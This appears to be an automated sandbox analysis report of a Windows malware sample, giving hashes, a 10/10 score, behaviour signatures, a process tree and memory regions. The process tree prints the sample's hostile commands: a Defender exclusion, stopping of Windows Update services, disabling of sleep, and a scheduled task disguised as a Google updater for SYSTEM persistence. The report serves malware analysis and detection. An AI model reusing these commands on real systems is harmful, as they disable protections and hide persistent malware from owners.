Analysis

  • max time kernel
    54s
  • max time network
    120s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/10/2023, 11:42

General

  • Target

    file.exe

  • Size

    5.7MB

  • MD5

    673bff7296dd2e4c0b564d405a1a0381

  • SHA1

    1c5b161681d81ed527822c9ccd9e571b3e19b0bd

  • SHA256

    369147350ac3d138f942319a118713d1ce6d77dbec87986def4016d88f16cb48

  • SHA512

    33b177061ad082882a5305e1df195bbe4ccd05bc74276b9f16623698fb2aa4692c306d05f8c6fb135d868ff17760173ec530154903aba5fd213c176ee9cb64fe

  • SSDEEP

    98304:4xZ43gHc6skS5ZiCVKoarh+gT0sTEK/wTHsDtTvUyOYJRwHkkKlkNbZFRdO:4ogHc6sTPte0qEK/wTHyw4RWkkKlkNtU

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Stops running service(s) 3 TTPs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3184
      • C:\Users\Admin\AppData\Local\Temp\file.exe
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious behavior: EnumeratesProcesses
        PID:4396
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4864
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
        2⤵
          PID:4740
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:2172
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:1436
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:1176
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:3996
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:4024
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
          2⤵
            PID:2228
            • C:\Windows\System32\powercfg.exe
              powercfg /x -hibernate-timeout-ac 0
              3⤵
                PID:5044
              • C:\Windows\System32\powercfg.exe
                powercfg /x -hibernate-timeout-dc 0
                3⤵
                  PID:400
                • C:\Windows\System32\powercfg.exe
                  powercfg /x -standby-timeout-ac 0
                  3⤵
                    PID:2316
                  • C:\Windows\System32\powercfg.exe
                    powercfg /x -standby-timeout-dc 0
                    3⤵
                      PID:4236
                  • C:\Windows\System32\dialer.exe
                    C:\Windows\System32\dialer.exe
                    2⤵
                      PID:952
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#vyprxw#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
                      2⤵
                        PID:644

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                      Filesize

                      2KB

                      MD5

                      d85ba6ff808d9e5444a4b369f5bc2730

                      SHA1

                      31aa9d96590fff6981b315e0b391b575e4c0804a

                      SHA256

                      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                      SHA512

                      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      944B

                      MD5

                      d28a889fd956d5cb3accfbaf1143eb6f

                      SHA1

                      157ba54b365341f8ff06707d996b3635da8446f7

                      SHA256

                      21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

                      SHA512

                      0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fuvydhdd.145.ps1

                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    • memory/388-59-0x00000199B8060000-0x00000199B8087000-memory.dmp

                      Filesize

                      156KB

                    • memory/388-47-0x00000199B8060000-0x00000199B8087000-memory.dmp

                      Filesize

                      156KB

                    • memory/512-53-0x000002532CFB0000-0x000002532CFD7000-memory.dmp

                      Filesize

                      156KB

                    • memory/512-54-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/512-61-0x000002532CFB0000-0x000002532CFD7000-memory.dmp

                      Filesize

                      156KB

                    • memory/612-44-0x00007FFACC88F000-0x00007FFACC890000-memory.dmp

                      Filesize

                      4KB

                    • memory/612-41-0x00007FFACC88D000-0x00007FFACC88E000-memory.dmp

                      Filesize

                      4KB

                    • memory/612-101-0x000002644D210000-0x000002644D237000-memory.dmp

                      Filesize

                      156KB

                    • memory/612-38-0x000002644D210000-0x000002644D237000-memory.dmp

                      Filesize

                      156KB

                    • memory/612-35-0x000002644D1E0000-0x000002644D201000-memory.dmp

                      Filesize

                      132KB

                    • memory/644-81-0x00007FFAADB90000-0x00007FFAAE651000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/644-23-0x000001E0F4310000-0x000001E0F4320000-memory.dmp

                      Filesize

                      64KB

                    • memory/644-24-0x000001E0F4310000-0x000001E0F4320000-memory.dmp

                      Filesize

                      64KB

                    • memory/644-88-0x000001E0F4310000-0x000001E0F4320000-memory.dmp

                      Filesize

                      64KB

                    • memory/644-22-0x00007FFAADB90000-0x00007FFAAE651000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/644-83-0x000001E0F4310000-0x000001E0F4320000-memory.dmp

                      Filesize

                      64KB

                    • memory/644-98-0x000001E0F4310000-0x000001E0F4320000-memory.dmp

                      Filesize

                      64KB

                    • memory/680-52-0x0000016DD26A0000-0x0000016DD26C7000-memory.dmp

                      Filesize

                      156KB

                    • memory/680-42-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/680-55-0x00007FFACC88D000-0x00007FFACC88E000-memory.dmp

                      Filesize

                      4KB

                    • memory/680-39-0x0000016DD26A0000-0x0000016DD26C7000-memory.dmp

                      Filesize

                      156KB

                    • memory/680-57-0x00007FFACC88F000-0x00007FFACC890000-memory.dmp

                      Filesize

                      4KB

                    • memory/808-65-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/808-112-0x000001DDC80A0000-0x000001DDC80C7000-memory.dmp

                      Filesize

                      156KB

                    • memory/808-64-0x000001DDC80A0000-0x000001DDC80C7000-memory.dmp

                      Filesize

                      156KB

                    • memory/952-20-0x00007FFACC1D0000-0x00007FFACC28E000-memory.dmp

                      Filesize

                      760KB

                    • memory/952-19-0x00007FFACC7F0000-0x00007FFACC9E5000-memory.dmp

                      Filesize

                      2.0MB

                    • memory/960-46-0x000001C06DFA0000-0x000001C06DFC7000-memory.dmp

                      Filesize

                      156KB

                    • memory/960-58-0x000001C06DFA0000-0x000001C06DFC7000-memory.dmp

                      Filesize

                      156KB

                    • memory/960-60-0x00007FFACC88C000-0x00007FFACC88D000-memory.dmp

                      Filesize

                      4KB

                    • memory/960-50-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/1028-70-0x000001A3C0E60000-0x000001A3C0E87000-memory.dmp

                      Filesize

                      156KB

                    • memory/1028-72-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/1028-143-0x000001A3C0E60000-0x000001A3C0E87000-memory.dmp

                      Filesize

                      156KB

                    • memory/1048-76-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/1048-74-0x0000025C21FD0000-0x0000025C21FF7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1048-146-0x0000025C21FD0000-0x0000025C21FF7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1092-78-0x000001C525E60000-0x000001C525E87000-memory.dmp

                      Filesize

                      156KB

                    • memory/1092-82-0x000001C525E60000-0x000001C525E87000-memory.dmp

                      Filesize

                      156KB

                    • memory/1092-79-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/1184-86-0x000002AE255A0000-0x000002AE255C7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1184-90-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/1184-92-0x000002AE255A0000-0x000002AE255C7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1216-93-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/1216-95-0x000001DA380B0000-0x000001DA380D7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1216-89-0x000001DA380B0000-0x000001DA380D7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1300-99-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/1300-96-0x00000207D5150000-0x00000207D5177000-memory.dmp

                      Filesize

                      156KB

                    • memory/1300-104-0x00000207D5150000-0x00000207D5177000-memory.dmp

                      Filesize

                      156KB

                    • memory/1340-106-0x000001D6267A0000-0x000001D6267C7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1340-100-0x000001D6267A0000-0x000001D6267C7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1340-103-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/1376-113-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/1376-117-0x000002BA120B0000-0x000002BA120D7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1376-110-0x000002BA120B0000-0x000002BA120D7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1408-114-0x000002D44A940000-0x000002D44A967000-memory.dmp

                      Filesize

                      156KB

                    • memory/1408-118-0x00007FFA8C870000-0x00007FFA8C880000-memory.dmp

                      Filesize

                      64KB

                    • memory/1408-127-0x000002D44A940000-0x000002D44A967000-memory.dmp

                      Filesize

                      156KB

                    • memory/1424-130-0x000002894CD40000-0x000002894CD67000-memory.dmp

                      Filesize

                      156KB

                    • memory/1424-115-0x000002894CD40000-0x000002894CD67000-memory.dmp

                      Filesize

                      156KB

                    • memory/1560-120-0x0000015F8C4F0000-0x0000015F8C517000-memory.dmp

                      Filesize

                      156KB

                    • memory/1560-133-0x0000015F8C4F0000-0x0000015F8C517000-memory.dmp

                      Filesize

                      156KB

                    • memory/1592-137-0x0000021359970000-0x0000021359997000-memory.dmp

                      Filesize

                      156KB

                    • memory/1676-136-0x0000021F93360000-0x0000021F93387000-memory.dmp

                      Filesize

                      156KB

                    • memory/1700-150-0x00000270C2290000-0x00000270C22B7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1784-154-0x00000195C0190000-0x00000195C01B7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1796-164-0x00000227123C0000-0x00000227123E7000-memory.dmp

                      Filesize

                      156KB

                    • memory/1940-159-0x00000203F9730000-0x00000203F9757000-memory.dmp

                      Filesize

                      156KB

                    • memory/4396-49-0x00007FF683520000-0x00007FF683AE1000-memory.dmp

                      Filesize

                      5.8MB

                    • memory/4396-0-0x00007FF683520000-0x00007FF683AE1000-memory.dmp

                      Filesize

                      5.8MB

                    • memory/4864-11-0x00007FFAADB90000-0x00007FFAAE651000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/4864-10-0x000001F353360000-0x000001F353382000-memory.dmp

                      Filesize

                      136KB

                    • memory/4864-12-0x000001F353350000-0x000001F353360000-memory.dmp

                      Filesize

                      64KB

                    • memory/4864-13-0x000001F353350000-0x000001F353360000-memory.dmp

                      Filesize

                      64KB

                    • memory/4864-14-0x000001F353350000-0x000001F353360000-memory.dmp

                      Filesize

                      64KB

                    • memory/4864-17-0x00007FFAADB90000-0x00007FFAAE651000-memory.dmp

                      Filesize

                      10.8MB